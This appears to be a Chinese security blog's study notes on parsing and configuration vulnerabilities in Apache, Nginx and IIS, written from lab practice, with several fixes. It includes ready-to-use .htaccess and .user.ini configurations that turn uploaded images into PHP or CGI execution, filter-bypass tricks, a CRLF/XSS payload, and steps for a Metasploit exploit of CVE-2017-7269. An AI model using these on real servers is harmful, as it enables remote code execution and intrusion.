中间件漏洞

apache

php常见运行方式有 apache的模块模式(分为mod_php和mod_cgi) cgi模式, fast-cgi模式

  1. cgi模式就是建立在多进程上的, 但是cgi的每一次请求都会有启动和退出的过程(fork-and-execute模式, 启动脚本解析器解析php.ini 初始化运行环境, 载入dll), 这在高并发时性能非常弱.

  2. fast-cgi就是为了解决cgi的问题而诞生的, web server 启动时 会启动fastcgi进程管理器, fastcgi进程管理器读取php.ini文件并初始化, 然后启动多个cgi解释器进程(php-cgi), 当收到请求时,web server会将相关数据发送到fastcgi的子进程 php-cgi中处理.

  3. apache模块模式

    • mod_php模式, apache调用与php相关模块(apache内置), 将php当做apache子模块运行. apache每收到一个请求就会启动一个进程并通过sapi(php和外部通信的接口)来连接php

    • mod_cgi/mod_fcgid模式 使用cgi或者fast-cgi实现.

而php版本分为nts(None-Thread Safe) 和 ts(Thread Safe), 在windows中创建线程更为快捷,而在linux中创建进程更快捷,在nts版本下 fast-cgi拥有更好的性能所以windows下经常采用fast-cgi方式解析php. 所以在nts版本里面是没有mod_php (phpxapachexxx.dll)模块的.

1
2
3
4
5
6
AddHandler:
AddHandler php5-script .jpg
AddHandler fcgid-script .jpg
在文件扩展名与特定处理器之间建立映射
Addtype:
AddType application/x-httpd-php .jpg

1. 多名后缀

如:

1
flag.php.aaa  就会解析为php文件

其中php文件后缀

1
2
".+\.ph(p[345]?|t|tml)\."
php,php3,php4,php5,pht,phtml都会当成php文件执行

2.htaccess

修改.htaccess的文件名修改apache下的conf文件的AccessFileName .htaccess

屏幕截图 2020-11-24 220154

作用

.htaccess文件可以配置很多事情,如是否开启站点的图片缓存自定义错误页面自定义默认文档设置WWW域名重定向设置网页重定向设置图片防盗链和访问权限控制。但我们这里只关心.htaccess文件的一个作用——MIME类型修改。

生效条件(php解析, 命令执行)

CGI/FastCGI模式下 (在phpinfo中的Server API查看)

.htaccess文件配置

  1. 将jpg后缀文件解析为php文件
1
2
3
AddHandler   fcgid-script .jpg
FcgidWrapper "G:/11111111gongju/phpstudy_pro/Extensions/php/php7.0.9nts/php-cgi.exe" .jpg
将php-cgi.exe路径改为对应的php版本即可

屏幕截图 2020-11-24 220129

屏幕截图 2020-11-25 004230

  1. 执行命令(此方法下我无法解析php了)

    AddHandler添加某一特殊文件后缀作为cgi程序

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    .htaccess

    Options +ExecCGI
    AddHandler cgi-script .jpg

    test.jpg
    #!C:/Windows/System32/cmd.exe /c start notepad
    test

    必须要有两排数据 第二排随意

    方法二:
    打开任意文件执行命令
    Options +ExecCGI(如果配置文件中有则不用添加)
    AddHandler fcgid-script .jpg
    FcgidWrapper "C:/Windows/System32/cmd.exe /c start calc.exe" .jpg

    屏幕截图 2020-11-25 221034

这与apache的conf/vhosts文件夹中的配置相同, 这个文件夹可以在单个ip创建不同域名的配置文件.

  1. 使用SetHandler将目录下所有文件视为cgi程序
1
2
3
4
5
6
SetHandler cgi-script
或者
SetHandler fcgid-script
FcgidWrapper "C:/Windows/System32/cmd.exe /c start calc.exe

不需要添加后缀
  1. 使用相对路径

    无法使用绝对路径是可以利用一下

在handler模式下

1
2
3
4
5
1. 配置文件中在对应目录下 如: /var/www/html添加  AllowOverride All

windows下Apache要加载mod_Rewrite模块,配置文件上写上:LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

重启apache
1
2
3
4
5
6
7
8
9
1. AddType application/x-httpd-php .xxx 
AddHandler application/x-httpd-php .xxx 将xxx后缀作为php解析

2. SetHandler application/x-httpd-php 将该目录下所有文件及其子文件中的文件当做php解析
3.
<FilesMatch ".+\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
该语句会让Apache把.jpg文件解析为php文件。

屏幕截图 2020-11-29 143947

屏幕截图 2020-11-29 143957

  • 防御方法

    修改匹配规则

    1
    2
    3
    <FileMatch ".+\.php$">
    SetHandler application/x-httpd-php
    </FileMatch>

    禁止.php.这样的文件执行

    1
    2
    3
    <FileMatch ".+\.ph(p[3457]?|t|tml)\.">
    Require all denied
    </FileMatch>

.htaccess包含文件

1
2
3
4
5
6
7
8
php_value auto_prepend_file "test.jpg" 文件开始插入
php_value auto_append_file "test.jpg" 文件结束插入

利用伪协议
php_value auto_prepend_file php://filter/convert.base64-decode/resource=test.jpg

test.jpg
<?php phpinfo();?>

其他利用方式

查看apache服务器信息

1
SetHandler server-status

绕过preg_math

1
2
3
4
5
设置回溯限制
pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false,在,htaccess中手动修改这个限制

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

使.htaccess可以访问

1
2
3
4
5
6
编辑.htaccess
<Files ~ ".htaccess">
Require all granted
Order allow,deny
Allow from all
</Files>

.htaccess作为shell

1
2
3
4
5
6
7
8
9
10
<Files ~ ".htaccess">
Require all granted
Order allow,deny
Allow from all
</Files>

SetHandler application/x-httpd-php

#<?php phpinfo();?>
注意#号

绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
反斜线绕过
SetHa\
ndler appli\
cation/x-ht\
tpd-php

文件中不能包含某些关键字符
上传base加密的文件
利用php_value auto_prepend_file包含文件时base解密

包含session文件

php_value auto_append_file "/tmp/sess_session文件名"
php_value session.save_path "/tmp" # session文件储存位置
php_flag session.upload_progress.cleanup off # session上传进度

3. .use.ini

.usr.ini不只是nginx专有的, 只要是以 fastcgi 方式运行php的 都能够使用(apache/nginx/iis), 作用相当于可以自定义的php.ini文件

1
2
auto_prepend_file=123.jpg 文件前包含
auto_append_file = 123.jpg文件后包含

让目录下的所有php文件自动包含123.jpg文件

4. 目录遍历

httpd.conf

1
Options+Indexes+FollowSymLinks +ExecCGI   改为   Options-Indexes+FollowSymLinks +ExecCGI 

nginx

文件名解析漏洞

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

1
2
3
4
5
6
7
8
location ~ \.php$ {
include fastcgi_params;

fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}

当nginx匹配到.php结尾的文件时就将其当做php文件解析

当我们请求test.jpg[0x20][0x00].php时, 就会将其匹配为php文件, 但是nginx却认为这是jpg文件, 将其设置为SCRIPT_FILENAME的值发送给fastcgi, fastcgi根据SCRIPT_FILENAME的值进行解析造成漏洞

我们只需上传一个空格结尾的文件(如1.jpg空格), 访问1.jpg空格[0x00].php就行

1
可以先发写为1.jpgaa.php, 然后再hex格式中修改为20 00

屏幕截图 2020-12-02 220506

文件后缀解析

源文件为test.jpg访问时改为test.jpg/x.php解析为php(x随意)

1
2
3
4
1. 在高版本的php中关闭security.limit_extensions(在php-fpm.conf直接删除)
一般为security.limit_extensions php只允许.php文件执行, 添加 .jpg 将jpg文件作为php文件执行, 需要重启php-fpm
2. php.ini中设置cgi.fix_pathinfo=1
当访问/test.jpg/x.php时 若x.php不存在则向前解析

屏幕截图 2020-12-01 204236

1
2
3
修复
php.ini 中的 cgi.fix_pathinfo=0 访问后就是404
将/etc/php5/fpm/pool.d/www.conf 添加 security.limit_extensions = .php

CRLF

http的报文就是CRLF分隔的(回车+换行)

若nginx在解析url时将其解码则会造成注入

1
2
3
4
错误的配置文件
location / {
return 302 https://$host$uri;
}

详细可参考: Bottle HTTP 头注入漏洞探究 | 离别歌 (leavesongs.com)

新浪某站CRLF Injection导致的安全问题 | 离别歌 (leavesongs.com)

1
2
在请求时加上
/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>(%0d%0a==>回车+换行)

目录穿越

alias为目录配置别名时, 如果没有没有添加/

nginx.conf修改为

1
2
3
location /files {  #这里files就没有闭合
autoindex on;
alias /home/;

访问files../即可造成目录穿越

1
修复: 将/files闭合  ==>  /files/

屏幕截图 2020-12-02 211635

add_header覆盖

错误配置文件

Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头

1
2
3
4
5
6
7
8
9
10
11
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;

location = /test1 {
rewrite ^(.*)$ /xss.html break;
}

location = /test2 {
add_header X-Content-Type-Options nosniff; #覆盖掉父块中的配置
rewrite ^(.*)$ /xss.html break;
}

IIS

cve-2017-7269

iis 6.0 开启webdav, 攻击前记得拍摄快照!!!!!

屏幕截图 2020-12-05 002759

exp: zcgonvh/cve-2017-7269: fixed msf module for cve-2017-7269 (github.com)

直接set rhost然后exploit

屏幕截图 2020-12-05 002610

直接打是用在iis没有绑定主机时

屏幕截图 2020-12-05 003701

如果绑定了就需要输入物理路径长度 (如: c:\inetpub\wwwroot\ 就是19)

修改路径为c:\inetpub\wwwroot1111111

QQ截图20201205160536

使用脚本爆破(Windows-Exploit/IIS6_WebDAV_Scanner at master · admintony/Windows-Exploit (github.com)

屏幕截图 2020-12-05 160647

1
set PhysicalPathLength 26

然后即可攻击成功

PUT漏洞

条件 IIS6.0 开启WebDAV和来宾用户写权限

使用PUT方式, 上传txt文件(直接上传asp文件会失败)

屏幕截图 2020-12-05 173550

然后利用move将txt文件修改为asp, 变为可执行脚本 蚁剑连接

屏幕截图 2020-12-05 181456

记得在web扩展中开启active server pages

QQ截图20201205181300

屏幕截图 2020-12-05 181142

短文件名猜测

windows下为兼容MS-DOS而生成的短文件

只显示前6个字符, 后面的字符使用1,2等等代替, 后缀只显示前3个字符. 并且全部以大写字母显示

文件名大于9或者后缀大于4才会生成短文件名, 使用dir /x查看短文件名

影响版本

IIS 1.0,Windows NT 3.51

IIS 3.0,Windows NT 4.0 Service Pack 2

IIS 4.0,Windows NT 4.0选项包

IIS 5.0,Windows 2000

IIS 5.1,Windows XP Professional和Windows XP Media Center Edition

IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition

IIS 7.0,Windows Server 2008和Windows Vista

IIS 7.5,Windows 7(远程启用或没有web.config)

IIS 7.5,Windows 2008(经典管道模式)

IIS使用.Net Framework 4时不受影响

漏洞成因

1
2
3
4
使用短文件名访问存在的文件时会返回404, 否则返回400
如存在aaaaaaaaaa.txt 短文件名为 AAAAAA~1.TXT的文件
访问http://xxxxx/A*~1.*/.aspx会返回404
通过逐步增加字符找出文件的文件名

缺点:

1
2
3
4
只能找出前6个字符和后缀的三个字符
只能猜解有短文件名的文件
不支持中文
iis和.net都需要满足

漏洞修复

1
2
升级.net到4.0及以上版本
修改注册表, HKEY\ LOCAL MACHINE\\SYSTEM\\CurrentControlSet\\Control\\FileSystem中的 NtfsDisable8dot3 Name Creation值为1,使其不创建短文件名

后缀解析漏洞

1
2
cer asa cdx 都会当做asp文件解析
但是我在windows server 2003 + iis 6.0下只有cer可以

漏洞原因:

​ 当访问不存在文件时返回404, 访问不存在短文件名时返回400

屏幕截图 2020-12-05 195037

版本: iis 6.0

  1. xxx.asp文件夹里面的文件都会以asp解析

QQ截图20201205193209

  1. ;截断

    1
    xxx.asp;.txt会以asp文件执行

    QQ截图20201205193547

  1. 遇到php文件时

iis 7.5

1
2
当iis遇见php后缀文件时, 将其交给php处理, 当php开启cgi.fix_pathinfo时会处理文件, 如同nginx一样
所以输入test.jpg/.php就会当场php处理

参考: 关于CGI和FastCGI的理解 - 天生帅才 - 博客园 (cnblogs.com)

.htaccess利用与Bypass方式总结 - 安全客,安全资讯平台 (anquanke.com)

Web中间件漏洞总结之Nginx漏洞 - 先知社区 (aliyun.com)

https://xz.aliyun.com/t/6783


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!